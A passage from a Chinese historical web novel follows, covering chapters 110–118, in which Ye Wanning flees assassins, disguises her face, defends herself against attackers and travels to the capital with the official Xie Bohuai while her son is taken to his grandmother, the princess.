“姑娘不用太紧张,我们会住在隔壁,不会打扰您的正常生活。殿下是怕战火波及过来,这才派了我们。”暗卫首领单独来见了叶婉宁。 叶婉宁说了句“辛苦”,也只能接受这样的安排,等暗卫首领走了后,她揉着太阳穴,叫来了云芝,“我怕咱们藏不了多久了,我之前交代过你的,若是出了事,就抱着乐哥儿走,千万不要管我。” “姑娘,真的会到那一步吗?”云芝快哭了。 叶婉宁摇头说不知道,她是真的不清楚。 就这么到了年底,有好消息传来,惠郡王被陆丰年活捉,叛军也解决了大部分,只需要注意逃跑的叛军。 眼看着时局稳定一点,叶婉宁稍稍松了口气,只是她还没睡几个好觉,暗卫首领急忙忙找来,说附近发现了可疑的人。 第110章 重逢 才没停下多久,叶婉宁又被迫离开,只是这次的事,比他们想的要更棘手。 刚出城半个时辰,就有人追了上来,他们二话不说,直接动手。 叶婉宁在马车里心惊胆战,有人带着他们闯了出去,却还有人在追。 “分开走!”叶婉宁和侍卫们道,她把乐哥儿交给云芝,“记住我的话,带着乐哥儿去京城找公主殿下,她会帮忙安置你们的。至于我的事,就按照我说的话和他们说,还有乐哥儿的身世,你也记住我说的。别哭,这时候不是哭的时候,我只能指望你了云芝。” 她不能就这么服输,既然藏不住,那就人定胜天。 老天不让她过安稳日子,她这一生所学就利用起来,她还没到绝路。 云芝带着乐哥儿从另一边走了,那些人还在追马车,叶婉宁则是和春喜在马车里。她拿着匕首,尽量冷静。 但对方人更多,是侍卫的两倍,带着马车跑不远,叶婉宁让车夫弃了马车,她带着春喜骑上马。 “夫人,您还会骑马?”春喜这几天受到太多震惊了。 “骑马而已,没什么难的。你搂紧一点,咱们还得和云芝,还有你弟弟汇合呢。”叶婉宁勒紧缰绳,生死之刻,不敢有任何停歇。 她现在没有别的选择,只能一路往北去。 另一边,云芝带着乐哥儿一路逃亡,好在追他们的刺客不多,侍卫很快解决了刺客。 云芝想回去救主子,却被侍卫劝住,“夫人的交代你都忘了吗?你要相信夫人,她总有办法能再见到我们。如果我们现在回头,很肯定被人抓住,到时候乐哥儿到了敌人手里,你该如何与夫人交代?” 叶承乐已经哭过一路了,这会抽噎着说想要母亲。 看着怀里的乐哥儿,云芝知道了主子的良苦用心,只能带着乐哥儿一路北上。 他们已经暴露,那就不可能躲下去,只有回京城,才能重新谋划。 只是这一路,山高路远,加上一天天地变冷,等云芝他们快到京城时,已经是十二月初了。 天上下着鹅毛大雪,因为一直在赶路,乐哥儿瘦了一圈。 他现在不哭闹要母亲了,因为他意识到,他们现在的情况不太对,至于怎么不对,哪里不对,他说不上来,但就是每天都很害怕。 “云芝姑娘,雪太大了,我们得在这个客栈休息一晚了。”侍卫出去看了看,大雪封路,走不了了。 “辛苦你们了,我带乐哥儿吃点东西,明天再看看天气吧。”云芝不敢冒险赶路,乐哥儿还小,受不了风寒。 她和店小二要了两碗馄饨,刚喂了乐哥儿吃几口,大堂门突然来了,又来了客人。 开始云芝还没多注意,直到云芝听店小二喊了句“谢大人”,她才绷紧身子。 这次北上,云芝和侍卫们跟着丝绸商队,全都做了乔装打扮。就是云芝自己,也特意把脸涂黑。 听到这句谢大人,她把头压得低低的,连呼吸都不敢。 “谢大人快请进,今儿雪大,您快坐,要吃点什么吗?”店小二殷切地躬着身子,他们这一块的人都认识谢泊淮,镇府司指挥使的名头,足够让大家遇到谢泊淮时,打起十二分精神来。 “来两壶热茶。”谢泊淮坐的位置,正好在大堂的最东边,云芝则是最西边。他扫视着大堂里的人,并没有发现异常的人。 过了会,店小二提着茶壶来了,还有一盘瓜子,说是送给谢泊淮的,“您慢慢喝,待会小的来换茶。不知您要不要住店?” 外头的雪不知道什么时候才停,已经没过膝盖,怕是一时半会停不了。这处镇子,只有这一家客栈,谢泊淮想要这会回京城,天黑之前是做不到的。 谢泊淮没说话,一旁的青山说不必了,他们只是出来办事,雪再大还要赶路。 此时的乐哥儿已经吃完馄饨,他依偎在云芝怀里,以前活泼开朗的小孩儿,已经没了朝气。 云芝抱着乐哥儿准备上楼,结果太紧张,不小心弄碎了桌上的碗,所有人都寻声看了过来。 第111章 外祖母 店小二过来问有没有事,云芝都不敢回头,拿出银子给店小二当做赔钱,匆匆上了楼。 谢泊淮只是看了一眼云芝的方向,只瞧到一个背影,反而是青山道,“我怎么看这个人的身影有些熟悉?” “像谁?”谢泊淮问。 青山说不上来,“就感觉眼熟而已,一时间想不到是谁。不过我也不认识带孩子的妇人,应该是错觉。外边雪好像停了。” 雪停了,他们就该走了。 尽管雪到了大腿,但还是得继续前行,因为他们得去接叛王。 谢泊淮收到消息,有人要杀叛王。 出了客栈,一阵疾风刮来,雪花贴在脸颊上,青山打了个寒颤,跟着主子继续上路。 云芝则是在客栈里住了两天,等雪化了一些,才带着乐哥儿去了隆玉公主的别苑。 时隔多年,再次见面,隆玉公主看着云芝,又看看乐哥儿,许久说不出话来。 还是江嬷嬷蹲下,拿了糖块给乐哥儿,“你就是乐哥儿吧?真是可爱,老奴是江嬷嬷,你和你母亲长得真像。”也像谢泊淮,只是这话她放在心里,没有说出来。 乐哥儿接过糖块,紧紧依偎在云芝边上,大眼睛眨巴眨巴,看上首的老妇人和他招手,他并没有上前,直到云芝说可以过去,才一步三回头地走过去。 隆玉公主抱住乐哥儿,看到乐哥儿,她就想到叶婉宁,摸摸乐哥儿的脸颊,“乐哥儿,你知道我是什么人吗?” 乐哥儿摇头,“您是什么人呢?” “我是你外祖母。”隆玉公主摸了摸乐哥儿的头,她是越看越喜欢,她已经很久没感受到在活着的气息了,“你和江嬷嬷去吃点心好不好?” “可是……” “乐哥儿别怕,江嬷嬷他们是好人。”云芝过去轻生安抚,“江嬷嬷会带你去吃最好吃的点心,到了这里,你就不用怕了。不会再有坏人追我们。” 乐哥儿看看云芝,又去看江嬷嬷,小孩儿还是有些迟疑,直到江嬷嬷拿着糕点过来,他尝了一口,才被哄走了。 屋内没了其他人,隆玉公主才问叶婉宁在哪。 “回殿下,奴婢也不知道主子现在在哪,我们被人追杀,分成两路到京城。”云芝也在担心,他们已经到了京城,主子却还没到。 隆玉公主叹了口气,“最终还是暴露了,就是不知道,到底是谁在追查你们。这点本宫暂且想不到,那婉宁是什么打算,可与你说了?” “说了,主子说如果我们都能平安到京城,还是要恢复身份的,至于乐哥儿说是养子也可以,嫁人生的也行。就说她被冲到下游,因为伤病,一直不得机会回来。若是主子没回来,就请殿下替乐哥儿安排一个去处,奴婢就带着乐哥儿隐居去。”说到这里,云芝眼眶红了,到现在还没有主子的消息,她该怎么办呢? 隆玉公主听叶婉宁有了想法,只能顺着叶婉宁的意思去做,“好在当初为了掩人耳目,叶家找到尸首时,尸首已经面目全非。现在婉宁回来,倒也说得过去。就是好不容易摆脱了京城的权贵场,她这么回来,又要惹上一身是非。” 顿了顿,隆玉公主知道瞒不住,倒不如先说,“你们肯定不知道,在婉宁下葬的那日,谢泊淮去开了婉宁的棺椁。” “为何?” “京城都在说,他心悦婉宁。”隆玉公主道。 云芝皱紧眉头,怎么会有这种事? 她以前可看不出来一点,谢大人要是真对主子有心思,为何不早点说? “好了,这个事本宫只是先和你说一下,你带着乐哥儿安心住下。本宫会派人去找婉宁,等找到婉宁后,咱们再谋划以后的事。”隆玉公主让云芝先去安顿。以后的事,现在说好了也没用。 与此同时,叶婉宁也快到京城了,只是她运气不好,遇到了陆家押送叛王的队伍,正在被检查。 第112章 再见面 “你们都排好队,别冲撞了大人。”士兵过来,把人逼退到路边,让他们在路边排成队,一个个检查过去。 他们觉得大人多此一举,不过是些百姓,官道上哪能没有人。 检查到叶婉宁这里时,士兵让叶婉宁摘下斗篷。 “官爷,我相貌丑陋,怕吓到你们。”叶婉宁说着咳了两声。 “管你长得如何,现在让你摘下就摘下,再多废话,老子杀了你!”士兵拔出佩剑,边上人吓哭了,叶婉宁只能摘下斗篷。 只是她刚拿下斗篷,众人看到她满脸的脓疮,纷纷后退。 “咦,怎么会有那么丑的人?” “是啊,这也太丑了!” “她是不是有病?” …… 众人怕被叶婉宁染上病,全都不敢靠近她,只有春喜一个,她帮着道,“官爷,我姐姐不能吹风,现在摘了斗篷,您也看完了,可以再戴上了吧?” “戴上戴上,丑死了,真不知道怎么会有那么丑的人!”士兵嫌弃地走开。 叶婉宁和春喜才松一口气,两个人退到后排,等囚车经过,放慢步伐。 她们尽量走在队伍末尾,但又在人群中。 “我已经打听了,隆玉公主住在京城外的别苑,并不在城里。”春喜给主子拿了一块饼,为了躲开刺客,主子不得已给脸上涂了药,这些脓疮是真的,也是真的不能一直吹风。现在的主子,和以前完全变了个样。 侍卫们全死了,现在只剩下她们两个,这一路的艰辛,只有她们自己知道。 叶婉宁要忍住痒,不能抓,不然就会留下疤痕。 她和春喜走在人群里,直到一个岔路口,她们才往岔路去。 只是没过多久,就有人从后面跑来,“快跑啊,有刺客,他们打杀了起来!” 好几个百姓往这边跑,叶婉宁听了忙拉着春喜也跑,她就知道,最后的这一段路不会太平。 但没跑多远,就有一支羽箭从身后射来,正中最前面人跟前的地上。 “谁要是再跑,射的就不是地,而是你们的脑门了!”青山骑着马追上来,他们来迟一步,叛王死了,现在要缉拿一切可疑人等。 大部分人都停下了,却也有拼一拼的,青山没留情,直接射中对方的小腿。 “啊!”的一声惨叫,男人应声倒地。 青山下令,“把他们都带走审问,一个都不许放过。” 叶婉宁心头猛跳,看到是青山办事,想来谢泊淮也在附近。 果不其然,等她被带回去时,看到了面色黑沉的谢泊淮。 领头的将军是陆翔,叛王死了,他捏紧剑柄,“等查出是谁做的,我再去和皇上请罪!” 谢泊淮眸光冷冷,看着囚车里断气的叛王,打量着陆翔,陆丰年是老糊涂了,派了个毛都没长齐的人来护送,难怪出了乱子,“本来他就要死,早一点死了而已。我已经派人回京城传信,你最好是在京城来人之前找到凶手,不然你这身盔甲,以后别想穿了。” 说完,谢泊淮骑马到人群前面,“没有路引的,全部上刑罚,至于其他人,你们也看到了,镇府司办事不讲情面,若是你们看到了什么,听到了什么,不老实交代的话,今天一个人都走不了!” 这话一出,所有人纷纷看向左右。 叛王是在混乱中被袖箭射杀,谢泊淮的人已经找到袖箭,现在让他们一个个卷起袖子,要查看他们的手有没有痕迹。 常年用袖箭的人,手臂一定会留下印子,皮肤会磨出痕迹。 到了这会,叶婉宁只能照做,只是她手臂白皙如玉,刚卷起来,就引来旁人的好奇。 “你这胳膊也太白了,怎么脸那么丑?” 叶婉宁缩着手臂,等士兵检查完后,立马放下衣袖。 但这边的动静,引得谢泊淮骑马过来,他居高临下地看着叶婉宁,“把袖子再卷起来,还有斗篷,摘下来。” 第113章 “你是谁?” 谢泊淮骑在马背上,腰线笔直,黑曜石般的眸子紧紧盯着眼前的人。 叶婉宁则是垂着头,尽管视线没对上,光是谢泊淮冷冽的声音,都让她感到压迫感十足。 “我没功夫和你多耽搁。”谢泊淮加重语气道。 知道躲不过,叶婉宁只能摘下斗篷,但她仍然垂着头。等她卷起袖子时,露出白皙如玉一般的胳膊,轻轻地发颤。 “抬起头来。”谢泊淮说完,看到对方缓缓抬头,脸上看不到一点好的皮肤,除了一双眼睛很亮,给他一种熟悉感,并没有看出有什么不同。 春喜在一旁解释,“大人,我家夫人脸上中了毒,实在是不能见风,并不是故意遮掩。” 谢泊淮看着叶婉宁的脸,一时愣住。 等边上的青山嫌弃地说了句“真丑”,谢泊淮才回过神来,“嗯,你们走吧。”那两条胳膊纤弱得很,看不出一点瑕疵,不可能是常年用袖箭的人。 就在这时,士兵们查到一个人,发现他突然口吐黑血,等他们去查看,人已经咽了气。 这桩案子,暂时是解决不了了。 叶婉宁和春喜得到谢泊淮的答复后,赶忙离开,就怕再有个什么事。 只是这番巡查,耽搁了不少时间,这会赶不到住店的地方,只能寻一个破庙勉强过一晚上。 她们连火堆都不敢点,就怕被人发现。 奈何这次运气很不好,外边传来了说话声。 “我看到她们往这里走,那小娘子丑得很,可一对胳膊是真白啊,想来身上也是那么白嫩,在我身下一定很爽快!” “我要她丫鬟。”二金实在不懂他大哥,怎么口味那么独特,竟然喜欢一个那么丑的小娘子。 他们进破庙时,看到叶婉宁主仆要走,张开手拦住了她们。 “姑娘别怕,我们又不是什么坏人,大家伙遇到就是缘分。你们冷不冷,我们一块暖和暖和吧!”大金说着就去抱叶婉宁,这会天黑了,也看不清叶婉宁的脸,只是他刚冲过去,就被叶婉宁的匕首划破胳膊,“你他娘的想死吗?” 大金的衣裳连带胳膊,都被划破一道口子,顿时鲜血直流,疼得他嗷嗷叫。 这一路北上,叶婉宁和春喜并不是白走的,防身的各种手段都学了一些。 现在看着半夜出现的两个男人,两个人也不废话,直接动手。 看着大金捂着胳膊看疼,叶婉宁毫不犹豫地又补上一匕首,对着大金的脖子割去,只是歪了一点,没割破大金的喉咙,而是划破他的脸。 “二金你愣着干什么,给我上啊!”大金摔在地上,大吼道,“你个没出息的,不过是两个女人,给我打死他们!” 刚刚春喜出手太紧张,并没有伤到二金,这会二金反应过来,刚转头就看到叶婉宁两个挥着匕首过来,好在他躲得快,只是后背撞到房梁,吃了一嘴的灰。 地上的大金也爬了起来,他痛到头皮发麻,所以看到叶婉宁两个人,就想她们死。 叶婉宁注意到大金的动手,对着大金的裆下踹去,却被大金躲开。 大金到底是男人,反身抓住叶婉宁的胳膊,把人用力地推到墙上。 叶婉宁后背吃痛,却不敢松懈,而春喜看到主子被压到墙上,分心时被二金打了一拳,摔倒在地上。 她们到底是不是从小连武,只是和侍卫们学了三两招,眼看着败于弱势,叶婉宁咬住大金受伤的胳膊。 这种时候,除了拼命,只剩死路一条。 叶婉宁当即咬下一块肉来,她都是重活一次的人,没有什么好怕的,趁着大金往后退时,匕首对准大金的胸口。 “别……别过来!” 叶婉宁自然不会听大金的,刺完一次,马上补上第二、第三次,直到二金抢过她的匕首,叶婉宁才被迫停下。 “大哥,你怎么样了?”二金去拍他大哥的脸,结果大哥一点回应都没有,“你别吓我啊大哥,你要是死了,我怎么和爹娘交代?” “你这个贱人,丑八怪,我要你死!”二金看着叶婉宁的眼神充满了杀意,只是他刚举起手,门口进来了两道人影,一人掷出手中的佩剑,正中二金的胸口。 “啪嗒。” 匕首应声倒地,叶婉宁赶紧捡起匕首,往后退到春喜边上,扶着春喜起来。 她暗道倒霉,竟然来了一个又一个。 直到门口的两个人走到月色下,她才看清来的是谢泊淮和青山。 谢泊淮棱角分明的脸庞,带着冷冽的杀气,他走进破庙里,借着微弱的月光,看着地上的两具尸首,拿出了火折子。 看清大金胸口的血窟窿,谢泊淮再回头时,看到了满身是血的叶婉宁,她眼神戒备,一点也没有白日里胆怯的样子。 他拔出二金胸口的佩剑,步步逼近,最后用剑指着叶婉宁,“你是谁?” 第114章 不要骗我 “草民叶氏。”叶婉宁垂着眼睑,跪坐在地上。 火折子微弱的光线,只能看到叶婉宁一半的脸,可以说是很吓人的皮肤,谢泊淮却直直地盯着叶婉宁。 春喜赶忙道,“大人,这是我们的路引文书,我们真的是普通百姓,绝对不是什么贼人。也是这两歹徒先动手,我们才迫不得已反击。” “普通百姓?”谢泊淮轻嗤道,“他们不怀好意,但你们不见得是普通百姓吧?谁家妇人能下手如此很苦的,平常妇人被我用剑指着,早就吓得瘫了,可你这主子,却还是直直地挺着背。” 叶婉宁没想到谢泊淮观察得那么仔细,她没想那么多,只是不敢去看谢泊淮而已,她解释道,“大人,草民只是吓得动不了,方……方才已经用了全身的力气,实在是怕得很。您是青天大老爷,一定不会冤枉无辜。” “那可不一定,京城人都说我杀人如麻,心狠手辣。”谢泊淮还是觉得奇怪,怎么看对方都觉得透着可疑的地方,他看完春喜给的路引,问,“你们是江州人,跑那么远来做什么?” 从江州到京城,就算快马加鞭,也得四五天的脚程,更何况是两个女人,怎么敢这样来京城? 叶婉宁压着嗓子解释,“我们是来投亲戚的,家中本有铺子生意,奈何当地县令是叛王的人,带头为非作歹,实在是过不下去,只能变卖了家产,带着丫鬟家人上路。奈何运气不好,遇到了匪盗,半路和家人走散了。” “既然是投亲,亲戚姓盛名谁?”谢泊淮追问到底。 叶婉宁抿了抿唇瓣,没想到谢泊淮那么难缠。 在快到京城时,她就听到越多人讨论谢泊淮,都说谢泊淮这三年来狠辣无情,把几位王爷得罪了个遍。 没想到谢泊淮真的变得那么难相处。 “回大人,我们去找城东的叶家。”叶婉宁刚提到叶家,就见谢泊淮突然皱眉。 “你们是叶家什么人?”谢泊淮问。 “远亲而已。”叶婉宁不敢多说,就怕被谢泊淮看出破绽。 听到是叶家的远亲,谢泊淮才放下剑,“既然是叶家远亲,明儿跟我进城,我倒要看看,你们说的真话假话。” 对于眼前的两个人,谢泊淮还是保留怀疑。 叶婉宁则是微微皱眉,她是要回去的,但是谢泊淮跟着一起,很多事就不好瞒着。 这人不是很忙吗? 叶婉宁心里吐槽了两句,不过有谢泊淮在也能松口气,至少可以平安到叶家。本来她想先去隆玉公主那接回孩子,但这会是不能够了,只能先回叶家。 就是不知道,那么多年过去,家中是什么样的情况? 在叶婉宁心思飘远时,青山突然跑进来,“大人,有情况!” “真是找死!”谢泊淮抓住叶婉宁的手腕,他觉得这人手细得厉害,怎么会那么小? 他把春喜推给青山,让他带着春喜进城,两人上马。 叶婉宁赶忙道,“大人,我可以自己去叶家的,您有什么事可以先走!” “你觉得那些人看到了你和我待在一块,会放你一条生路?”谢泊淮觉得叶婉宁心虚了,“要不是看在你是叶家远亲的份上,我已经把你丢给他们当个孤魂野鬼!你最好别骗我,不然我会让你后悔的!” 第115章 吸出毒血 叶婉宁被谢泊淮横着放在马背上,像一个货物,一路颠簸得她快吐了。 后边刺客射出箭矢,叶婉宁刚动一下,谢泊淮就道,“不想死就别乱动,那些人想我死得很,都是下了毒的箭!” 听到这个,叶婉宁吓得不敢动了。 她算是知道多少人想谢泊淮死了,一次又一次地刺杀,谢泊淮这厮还敢出来乱跑,也不多带几个人。 前面出现岔路口,谢泊淮和青山分开走,叶婉宁是真的怕了。 天那么黑,如果谢泊淮没耐心丢下她,那些人肯定不会放过她。 真是倒霉,先是遇到两个盗贼,现在又是追杀谢泊淮的人。 眼看着都要到了,偏偏出了这种事。 叶婉宁头疼得很,却没有办法,当刺客绕到前面,叶婉宁以为谢泊淮会停下,结果谢泊淮直接冲了过去。 她吓得闭上眼睛,听“砰”的两声,地上多了两具尸体。 叶婉宁长长地吸气,心想谢泊淮这人也太厉害了,刚有这么个想法,身后的刺客突然喊道,“谢泊淮,你跑不掉的,你要是愿意停下,我们可以饶你一命!” “饶我一命?”谢泊淮勾唇,勒住缰绳,转身飞跃而去,“谁说我要跑?” 马儿停下,叶婉宁滑落到地上,她忍不住呕吐起来。在马背上颠簸太久,这会什么都吐了。 在她蹲在地上吐时,突然有个人冲向她,叶婉宁往边上滚开,对方没刺中她,但对方身手敏捷,很快抓住叶婉宁的胳膊,只是在看到叶婉宁的脸时,突然愣了下,给叶婉宁反击的机会。 从被追杀开始,叶婉宁学会了一件事,就是下手要够狠,而且不能犹豫。 她的匕首直接刺中对方的大腿,看刺客踉跄一步,叶婉宁准备补上一匕首时,被对方猛地踹开。 刺客到底是刺客,比二金那两个人身手好多了。 “臭娘们,你竟然有武器!”刺客忍着痛朝叶婉宁走过来,此时的叶婉宁胸口剧痛,根本站不起来。 眼看着刺客举起剑,就要落下时,刺客突然口吐鲜血。 叶婉宁的视线往下移去,才看到刺客的胸口刺了一把剑,是谢泊淮掷出来的。 热血洒了一些在叶婉宁脸上,看刺客倒下,她赶忙挪动身体。 而这时,谢泊淮杀完所有刺客,从远处走来,他看着坐在地上的叶婉宁,“起来。” “嘶。”叶婉宁捂着胸口,她是真的站不起来,方才刺客的那一脚,让她胸口酸痛难忍,估计已经淤青一片。 谢泊淮看她这个样子,不耐烦地道,“再不起来,你就自己留在这里,指不定他们的帮手什么时候到。” 没办法,叶婉宁强忍着疼痛站起来,恳求道,“大人,您别横着放我了行吗?” 月色微弱,叶婉宁微微低着头,谢泊淮能看到叶婉宁皱紧的眉头,这人真像养尊处优的大小姐,这一点伤都忍受不了。 就在谢泊淮思索时,他突然膝盖无力,低头看到自己的胳膊被划破。 糟糕,他们的剑也有毒! 叶婉宁看谢泊淮情况不太多,缓缓走了过去,“大人,您怎么了?” 谢泊淮捂着自己的胳膊,没搭理叶婉宁的问话,这时候得把毒吸出来,不然毒入骨髓,就真的无力回天。 这时叶婉宁发现谢泊淮受伤了,“你中毒了?” “嗯,你走吧。”谢泊淮从怀里掏出药瓶,咽下两颗药丸。是他大意了,刚刚救人的时候,被这群乌合之众给偷袭了。 “这就让我走?”叶婉宁看谢泊淮连站都站不起来,却让她离开,这人还真是冷酷得很,说句让她帮忙的话都不肯。 到底是救过自己的人,叶婉宁还是蹲下去查看谢泊淮的伤口,只是谢泊淮立马侧身躲开,防备的意思不要太明显。 “大人救过我,我也该回报大人。而且没有您,我一个人也难离开。”天那么黑,叶婉宁又不认识附近的路,没了谢泊淮,她一个弱女子,确实很危险。 她撕开谢泊淮的袖口,没多想就覆唇去吸,冰凉柔腻的触感,让谢泊淮非常不自在。 但在叶婉宁看来,这点事算不上什么。 以前在京城时,她会顾及男女有别,做不出这种事。现在她明白,活着才是最重要的事。而且她和谢泊淮不一样,早就有过其他的肌肤之亲,帮他吸出毒血,算不上什么了。 叶婉宁是真的怕谢泊淮在这会死了,直到她嘴巴麻了,她才停下。 谢泊淮给叶婉宁嘴里塞了两颗药丸,“你就不怕死?” “怕啊,但是没了大人您,我也很危险。”叶婉宁如实道。 谢泊淮:……是他想多了。 第116章 “谢大人,我害怕。” 叶婉宁是真的怕谢泊淮死了,谁知道还会不会有其他刺客找来,若是被发现了,她真要交代在这里。 倒不如照顾好谢泊淮,到时候一起回京城,才算安全。 只是谢泊淮中的毒她也不清楚,她现在嘴巴麻麻的,同样没什么力气,拿出侍卫们给的解毒丸,自己先吃了一颗,又给谢泊淮递了一颗,还拿出金疮药给谢泊淮止血。 等做完这些,她再抬头时,便对上谢泊淮探究的目光。 本来谢泊淮的眼珠子就黑,这会更让人看不清神色。 “吃啊谢大人,我自己都吃了。”叶婉宁催促道,“您可不能死,我还指望着您带我去京城呢。” 谢泊淮吃完药丸,问,“你一个寻常妇人,哪里来的这种解药?” “自然是家里给的,家中好歹是做过生意的,并不是什么穷人,出门前知道可能会有意外,所以什么都准备着。我们吃的这药丸,本来就不多,都是救命用的。”说着,叶婉宁发现马跑了,哎呀道,“没了马,我们怎么回去啊?” 谢泊淮动了动胳膊,感觉身上好受一些,腿脚没那么软了,起身道,“走吧。” “用走的?” “不然呢?你不是走着来京城的吗?” “也不全是。”叶婉宁现在倒是能走,就是走上一两天,春喜怕是已经到了京城。没有她在,春喜如何应对叶家人? 叶婉宁有她自己的担心,只是她思索的样子看在谢泊淮眼中,又成了心虚。 谢泊淮是处处看叶婉宁都奇怪,不过到了京城就知道了,如果叶婉宁说假话,他一定把叶婉宁带到镇府司审问。 看叶婉宁还捂着胸口,谢泊淮横着剑柄,示意叶婉宁拉着剑柄,“再磨蹭,我就把你丢在这里。” “好好好,我这就走,您惯会吓人的。好歹我也帮了您,怎么就不能好好说话呢?”叶婉宁左右看了眼,天黑得很,还起风了,真冷啊。 不过叶婉宁走得实在是慢,谢泊淮时不时要停下等叶婉宁,惹得叶婉宁几次呼吸都窒住,生怕谢泊淮骂人。 两人走了一个时辰左右,叶婉宁实在是腿酸,却不敢说话。 直到身后有马蹄声传来,谢泊淮突然背着叶婉宁进入树林中,他跑得飞快。 叶婉宁心提到了嗓子眼,连说话都不敢说,谢泊淮体力是真的好,她都不知道跑了多远。 直到谢泊淮不小心滑进一个山洞,两个人才停下。 叶婉宁趴在谢泊淮的背上,看谢泊淮不动,怕谢泊淮死了,拍了拍谢泊淮,“谢大人,您怎么样?” “放心,死不了。”谢泊淮是腿抽筋了,跑得太着急,又没有看清路面,这才滑了下来。 他们仰头去看,离地面至少有两个半谢泊淮的高度,想要爬出去是不能够了,只能从别的地方离开。 谢泊淮拿出火折子,他是个没什么好怕的人,叶婉宁之前抓着剑柄的末端,这会离谢泊淮挨得近近的,因为山洞里太黑了。 两人近到可以听清对方的呼吸,叶婉宁紧紧盯着谢泊淮手中的火折子,突然头顶有水滴落下,吓得叶婉宁一个机灵,等她反应过来时,已经用力搂住谢泊淮的胳膊。 “还不松开?”黑暗中,谢泊淮皱紧眉头。 “谢大人,我害怕。”叶婉宁恳切地望着谢泊淮,这里太黑了,除了火折子的那点光亮,其他地方黑漆漆的,什么都看不到。 她这会也忘记压低嗓音,谢泊淮听得停了下来。 第117章 死心吧 “你刚刚说什么?” “我……我说我害怕。”叶婉宁看不清谢泊淮的脸,却知道谢泊淮又开始猜忌一些事情,赶忙压着嗓子,往边上退了一小步,“谢大人,我们快走吧,这个山洞会不会有蛇啊?” “蛇已经冬眠了。”谢泊淮一副这你都不懂的语气,很嫌弃地拽着剑柄往前走,“你再不跟紧点,我让你留在这里,蛇倒是没有,指不定有吃人的豺狼虎豹。” 叶婉宁对着谢泊淮的背影哼了一声,心想这人脾气真坏,若是成亲了,他夫人肯定受不了他。 “你在想什么?” “没什么。” “说!” “我……我在想谢大人有没有成亲?”叶婉宁试探着问,虽然这事到了京城就能知道,但现在不聊点什么,她真的太害怕了。 仿佛身处冰窖一样,时不时还有冰凉的水滴下来,叶婉宁一次次深呼吸,告诉自己有谢泊淮在,万事都有谢泊淮顶着。 听叶婉宁这话,谢泊淮直接道,“谢某成亲与否,都与你无关,我是看不上你的。” 叶婉宁:……她何时有表露出对他的喜欢了? “谢大人,我想你误会了,我对你……” “不用解释,很多人不了解我之前,都想与我亲近些。等你到了京城,听多了别人对我的评价,你就会后悔现在的想法。”谢泊淮走得快了一些,他感受到前面有风,或许是出口。 叶婉宁撇嘴道,“您还真是对自己有深刻认知。” “什么?” “没什么,我们是不是快出去了?”叶婉宁赶忙岔开话题,只是刚说完,谢泊淮就让她低下头。 前面的路变得更矮,需要躬着身子才能出去。 叶婉宁一路都跟在谢泊淮后面,不知过了多久,才看到些许的亮光。 外边已经天亮了,天冷得很,谢泊淮的衣裳破了,叶婉宁则是又冷又饿。 “谢大人,我们要不要吃点东西再走?”叶婉宁拿出干粮袋,里面只有两块饼,她分了一块给谢泊淮,见谢泊淮迟疑,她先吃了一口,“你放心,我肯定不会毒死你。靠我自己,肯定走不到京城。” 谢泊淮环顾一圈四周,除了光秃秃的树木,便是满地的白雪,“你在这里别动。” “您去哪?”叶婉宁很紧张,她都分他饼吃了,他却还不去接着,这人真是难相处。 谢泊淮没说话,只让叶婉宁待着别动。 很快,谢泊淮消失在视线中,叶婉宁缩着身子坐在山洞里一点点的地方。她现在又累又困,一晚上没有睡,身上还有血味。 老天爷真是对她太不好了,大冬天的让她在冰天雪地里等着,不如自己去看看? 万一谢泊淮丢下自己不回来怎么办? 心里窜出这个想法,叶婉宁瞬间不困了,她不能坐以待毙。 叶婉宁走到外边,想观察四周的情况,如果离官道近,她就能去问问路。 结果没看到官道,先遇到了抱着干柴回来的谢泊淮。 “看来你真是不老实。”谢泊淮走到山洞边上,坐下后点燃火堆,见叶婉宁愣在原地,放狠话道,“你要是敢跑,我就一剑刺死你。” “我没跑,我就是看看您怎么还没回来。”叶婉宁哪里敢跑,忙到火堆边上,感受到久违的暖意,这才缓过来,“您怎么能这样想我,我都说了,没有您,我不可能走出这片山林。而且我相信,你肯定不是不讲义气的人,不会抛下我不管的。” 谢泊淮没说话,把鞋子烤了烤,准备继续上路时,发现边上的人睡着了。 他微微蹙起眉头,看了片刻,最终没有叫醒叶婉宁。 第118章 “骗子!” 叶婉宁睡出了汗,醒来时头疼欲裂,喉咙里干得厉害。 “咳咳。” 她坐了起来,揉搓着眼睛,差点撞到了火堆。 “你要是再睡下去,我就走了。”谢泊淮刚说完,就看到叶婉宁的眼神清明一些,“走吧,今日不知道能不能到城镇。” 想来青山已经进了京城,如果叶氏说的谎话,显然被拆穿了。 叶婉宁揉揉腿,她跟着谢泊淮重新上路,“大人一直没睡吗?” “嗯。” “大人不累?” “有事?” “无事,就是关心下大人。” “不必,我不需要你的关心。”谢泊淮说着步子大了许多,叶婉宁得小跑才能追上。 两个人走到山脚下,才看到一条山路,山路崎岖,好在叶婉宁已经习惯了。只是她的鞋子磨破了一个洞,脚拇指头露了出来。 那么冷的天,不一会儿,大拇指冻得通红,叶婉宁却不敢说,直到差点滑倒,谢泊淮才回头看过来。 看叶婉宁狼狈的样子,谢泊淮实在想不到,这么一个人,怎么一路走过来? 叶婉宁发现了谢泊淮的目光,解释道,“最开始,我们也是有马车的。” 谢泊淮没说话,而是把剑柄递了过去,“现在没有马车给你矫情,我还得回京城处理事务。” “也对,您是大忙人。”叶婉宁嘲讽地说了句。 没了谢泊淮的京城,则是为难了司砚,因为青山也没回来。 外边的人本就虎视眈眈地盯着谢泊淮和镇府司,结果谢泊淮有几天没消息了。 他们找不到谢泊淮,就去镇府司打听,镇府司就去找司砚。 司砚面对那些人,只能说谢大人有他的想法。 他刚送走几个人,吩咐下去,“别再放人进来,就说大人不在,等大人回来了再说。” 折竹看着小厮出去后,才表露担忧,“大人已经两天没传话回来了,会不会遇到麻烦?” “我已经派人出去找了,八成遇到刺客了。他就是这样任性,明知道那么多人想看他死,出门还只带着青山那个笨蛋脑袋。真是急死人了。”司砚刚说完,小厮又进来,说是成王带人闯进来了。 没办法,司砚只能出去应付。 “你家主子呢?”成王看着司砚。 “大人外出未归。”司砚道。 “哼,他还好意思在外面逗留,叛王怎么死的,他不应该给个交代吗?”成王看到叛王时,叛王成了一具尸体。 司砚面无表情,他主子已经把这些人得罪透了,他现在也不用和他们委以虚蛇,“您想要交代,就去找他,找得到人,随便您怎么问。在这里撒野,不好意思,我们大人不在,给不了您交代。” “你个小小六品官,竟然敢这样和我说话,来人啊,把他……” 